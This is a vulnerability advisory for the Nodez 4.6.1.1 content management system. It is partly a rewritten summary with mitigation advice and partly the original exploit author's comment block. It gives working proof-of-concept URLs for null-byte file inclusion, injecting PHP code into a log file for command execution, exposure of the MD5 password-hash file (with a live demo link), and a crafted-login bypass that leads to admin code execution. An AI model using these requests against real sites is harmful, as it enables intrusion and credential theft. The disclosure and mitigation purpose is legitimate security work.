Nodez 4.6.1.1 Mercury (possibly prior versions) multiple vulnerabilities

The 'op', 'bop', 'ext', 'eop' arguments are not properly sanitized before including files from local resources, allowing for arbitrary file inclusion. The 'ext' argument can be used to inject PHP code into the 'cache/ext/statman/log.gtdat' file and execute commands. Additionally, the 'list.gtdat' file in the 'cache/users' folder exposes the MD5 password hashes of all admin and users. This can be exploited by crafting a specific value for the 'upass' parameter.

Mitigation:

Implement proper input validation and sanitization for the 'op', 'bop', 'ext', 'eop' arguments. Ensure that the 'cache/users' folder is protected with an .htaccess file. Consider using stronger password hashing algorithms instead of MD5.

   description: Nodez - "An open source  (content management system), designed to
   be flexible, expandable, and as modular as possible." (ndr: maybe too modular ;) )

   short explaination:
   i) 'op','bop','ext','eop' arguments are not properly sanitized before to
   include files from local resources. You can include arbitrary files
   breaking the path through a null char (%00). Also you can inject
   php code in cache/ext/statman/log.gtdat file and launch commands
   including it, poc:

   http://[target]/[path]/index.php?node=system&op=extop&ext=statman&eop=/visitor&ip=[code]

   http://[target]/[path]/index.php?node=system&op=blockop&block=3&bop=../../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=extop&ext=statman&eop=../../../../cache/ext/statman/log.gtdat%00
   http://[target]/[path]/index.php?node=system&op=extop&ext=../../cache/ext/statman/log.gtdat%00

   ii)
   to list all files on target system:
   http://[target]/[path_to_nodez]/countlines.php

   iii)last but not least, the most chritical issue:

   you can view all admin/users md5 password hashes, ex:

   http://[target]/[path_to_nodez]/cache/users/list.gtdat

   (if you do not believe it, give a look to the online demo:
   http://demo.opensourcecms.com/nodez/cache/users/list.gtdat)

   this because nodez do not provide an .htaccess file for users folder

   you don't need to force it to login as admin, you can
   craft a $_POST['upass'] value,ex:

   [admin_md5_hash][md5("rndval[numbers]")]

   this string should be calculated by a nodez javascript, but
   you can easily do by yourself (the second fragment is inside
   login page, something like "rndval[random_numbers]" )

   once you have an admin session cookie, you can create and edit php files
   (System options -> Toolbox -> Super Edit) and launch commands from them

   this exploit makes the dirty work for i) and iii)
                                                                              */
